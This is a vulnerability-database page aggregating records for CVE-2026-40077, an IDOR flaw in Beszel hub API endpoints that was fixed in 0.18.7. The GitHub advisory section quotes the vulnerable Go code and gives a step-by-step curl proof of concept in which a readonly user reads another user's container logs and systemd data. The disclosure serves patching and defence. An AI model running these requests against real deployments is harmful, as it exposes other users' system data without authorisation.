Beszel has an IDOR in hub API endpoints that read system ID from URL parameter
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-40077
PublishedBeszel is a server monitoring platform. Prior to 0.18.7, some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID. System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the containers endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string. This vulnerability is fixed in 0.18.7.
- Source published
- 9 Apr 2026 19:27:39 UTC
- Source modified
- 13 Apr 2026 20:19:45 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 3.5 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N
euvd · EUVD-2026-21047
PublishedBeszel is a server monitoring platform. Prior to 0.18.7, some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID. System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the containers endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string. This vulnerability is fixed in 0.18.7.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Apr 9, 2026, 7:27:39 PM
dateUpdated: Apr 13, 2026, 8:19:45 PM
- Source published
- Apr 9, 2026, 7:27:39 PM (timezone not stated)
- Source modified
- Apr 13, 2026, 8:19:45 PM (timezone not stated)
- Observed here
- 28 Oct 2026 05:00:43 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 3.5 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N
nvd · CVE-2026-40077
PublishedBeszel is a server monitoring platform. Prior to 0.18.7, some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID. System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the containers endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string. This vulnerability is fixed in 0.18.7.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-184
Original publisher date fields
published: 2026-04-09T20:16:27.230
lastModified: 2026-10-26T21:10:00.170
1 source CPE criteria · context only
- cpe:2.3:a:beszel:beszel:*:*:*:*:*:*:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 9 Apr 2026 20:16:27 UTC
- Source modified
- 26 Oct 2026 21:10:00 UTC
- Observed here
- 27 Oct 2026 10:09:56 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 3.5 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N
CVSS 3.1 · [email protected] · Primary · 3.1 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
osv · GHSA-5f5r-95pg-xrpm
Published## Summary Some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID. System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the `containers` endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string. ## Affected Component - **File:** `internal/hub/api.go`, lines 283–361 - **Endpoints:** - `GET /api/beszel/containers/logs?system=SYSTEM_ID&container=CONTAINER_ID` - `GET /api/beszel/containers/info?system=SYSTEM_ID&container=CONTAINER_ID` - `GET /api/beszel/systemd/info?system=SYSTEM_ID&service=SERVICE_NAME` - `POST /api/beszel/smart/refresh?system=SYSTEM_ID` - **Commit:** c7261b56f1bfb9ae57ef0856a0052cabb2fd3b84 ## Vulnerable Code The `containerRequestHandler` function retrieves a system by ID but never verifies the authenticated user is a member of that system: ```go // internal/hub/api.go:283-305 func (h *Hub) containerRequestHandler(e *core.RequestEvent, fetchFunc func(*systems.System, string) (string, error), responseKey string) error { systemID := e.Request.URL.Query().Get("system") containerID := e.Request.URL.Query().Get("container") if systemID == "" || containerID == "" { return e.JSON(http.StatusBadRequest, map[string]string{"error": "system and container parameters are required"}) } if !containerIDPattern.MatchString(containerID) { return e.JSON(http.StatusBadRequest, map[string]string{"error": "invalid container parameter"}) } system, err := h.sm.GetSystem(systemID) // ^^^ No authorization check: e.Auth.Id is never verified against system.users if err != nil { return e.JSON(http.StatusNotFound, map[string]string{"error": "system not found"}) } data, err := fetchFunc(system, containerID) if err != nil { return e.JSON(http.StatusNotFound, map[string]string{"error": err.Error()}) } return e.JSON(http.StatusOK, map[string]string{responseKey: data}) } ``` The same pattern applies to `getSystemdInfo` (lines 322–340) and `refreshSmartData` (lines 342–361). Meanwhile, the standard PocketBase collection API enforces proper membership checks: ```go // internal/hub/collections.go:56-57 systemsMemberRule := authenticatedRule + " && users.id ?= @request.auth.id" systemMemberRule := authenticatedRule + " && system.users.id ?= @request.auth.id" ``` These rules are only applied to the PocketBase collection endpoints, **not** to the custom routes registered on `apiAuth`. ### PoC **The proof:** The standard PocketBase API returns `404` (system not found) for unassigned systems. The custom endpoints resolve the system, contact the agent, and return data — proving the authorization check is missing. #### Step 1: Start the hub ```bash cd ~/Evidence/henrygd/beszel/finding418/docker-poc/ docker compose up -d ``` Wait a few seconds, then verify: ```bash curl -s http://localhost:8090/api/health ``` Expected: `{"message":"API is healthy.","code":200,"data":{}}` #### Step 2: Create User A (admin) Open `http://localhost:8090` in a browser and create the first user: - Email: `[email protected]` - Password: `testpassword1` #### Step 3: Create User B (readonly) In the Beszel UI, go to Users and add a new user: - Email: `[email protected]` - Password: `testpassword2` - Role: **readonly** #### Step 4: Authenticate as User A ```bash TOKEN_A=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \ -H "Content-Type: application/json" \ -d '{"identity":"[email protected]","password":"testpassword1"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") echo "TOKEN_A=$TOKEN_A" ``` #### Step 5: Get hub public key ```bash HUB_KEY=$(curl -s http://localhost:8090/api/beszel/getkey \ -H "Authorization: $TOKEN_A" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['key'])") echo "HUB_KEY=$HUB_KEY" ``` #### Step 6: Create a universal token and start the agent ```bash UTOK_A=$(curl -s "http://localhost:8090/api/beszel/universal-token?enable=1" \ -H "Authorization: $TOKEN_A" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") echo "UTOK_A=$UTOK_A" ``` Find the Docker network the hub is on: ```bash NETWORK=$(docker inspect beszel-hub --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}') echo "Network: $NETWORK" ``` Start the agent on the **same network** so the hub can reach it: ```bash docker run -d --name beszel-agent-a \ --network "$NETWORK" \ -e HUB_URL=http://beszel-hub:8090 \ -e TOKEN="$UTOK_A" \ -e KEY="$HUB_KEY" \ henrygd/beszel-agent:latest ``` Wait a few seconds for the agent to register: ```bash sleep 5 ``` #### Step 7: Verify User A sees the system ```bash curl -s http://localhost:8090/api/collections/systems/records \ -H "Authorization: $TOKEN_A" | python3 -m json.tool ``` You should see one system in `items`. Save the system ID: ```bash SYSTEM_A_ID=$(curl -s http://localhost:8090/api/collections/systems/records \ -H "Authorization: $TOKEN_A" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['items'][0]['id'])") echo "SYSTEM_A_ID=$SYSTEM_A_ID" ``` #### Step 8: Authenticate as User B (readonly) ```bash TOKEN_B=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \ -H "Content-Type: application/json" \ -d '{"identity":"[email protected]","password":"testpassword2"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") echo "TOKEN_B=$TOKEN_B" ``` Verify User B sees NO systems: ```bash curl -s http://localhost:8090/api/collections/systems/records \ -H "Authorization: $TOKEN_B" | python3 -m json.tool ``` Expected: `"totalItems": 0` #### Step 9: Control test — standard API blocks User B ```bash echo "=== Standard PocketBase API ===" curl -s -w "\nHTTP Status: %{http_code}\n" \ "http://localhost:8090/api/collections/systems/records/$SYSTEM_A_ID" \ -H "Authorization: $TOKEN_B" ``` Expected: **404** — RBAC correctly hides the system from User B. #### Step 10: IDOR — SMART refresh (User B triggers action on User A's system) ```bash echo "=== IDOR: POST /api/beszel/smart/refresh ===" curl -s "http://localhost:8090/api/beszel/smart/refresh?system=$SYSTEM_A_ID" \ -X POST -H "Authorization: $TOKEN_B" | python3 -m json.tool ``` Expected: The hub processes the request and contacts the agent. Any response (data or agent error) proves the IDOR — compare with the 404 from Step 9. #### Step 11: IDOR — Systemd info (User B reads from User A's system) ```bash echo "=== IDOR: GET /api/beszel/systemd/info ===" curl -s "http://localhost:8090/api/beszel/systemd/info?system=$SYSTEM_A_ID&service=sshd" \ -H "Authorization: $TOKEN_B" | python3 -m json.tool ``` Expected: Hub contacts the agent and returns systemd data or an agent-level error. #### Step 12: IDOR — Container logs (User B reads from User A's system) Container endpoints require a Docker container ID (12-64 hex chars). Get a real one from the agent's host: ```bash # Get a real container ID from Docker (first 12 hex chars) CONTAINER_ID=$(docker ps --format '{{.ID}}' | head -1) echo "CONTAINER_ID=$CONTAINER_ID" echo "=== IDOR: GET /api/beszel/containers/logs ===" curl -s "http://localhost:8090/api/beszel/containers/logs?system=$SYSTEM_A_ID&container=$CONTAINER_ID" \ -H "Authorization: $TOKEN_B" | python3 -m json.tool ``` #### Step 13: IDOR — Container info (User B reads from User A's system) ```bash echo "=== IDOR: GET /api/beszel/containers/info ===" curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM_A_ID&container=$CONTAINER_ID" \ -H "Authorization: $TOKEN_B" | python3 -m json.tool ``` ### Impact - **Container logs**: Content of recent application logs, potentially including sensitive information - **Container info**: Content of Docker engine API's `/containers/{id}/json` endpoint, excluding environment variables - **Systemd info**: Unit properties and status for any monitored service - **SMART refresh**: Trigger a SMART data update on any system
- Source published
- 10 Apr 2026 17:32:05 UTC
- Source modified
- 25 Jun 2026 18:56:11 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N
Publisher rating · LOW
osv · GO-2026-5141
PublishedBeszel has an IDOR in hub API endpoints that read system ID from URL parameter in github.com/henrygd/beszel
- Source published
- 25 Jun 2026 18:26:48 UTC
- Source modified
- 25 Jun 2026 18:45:26 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.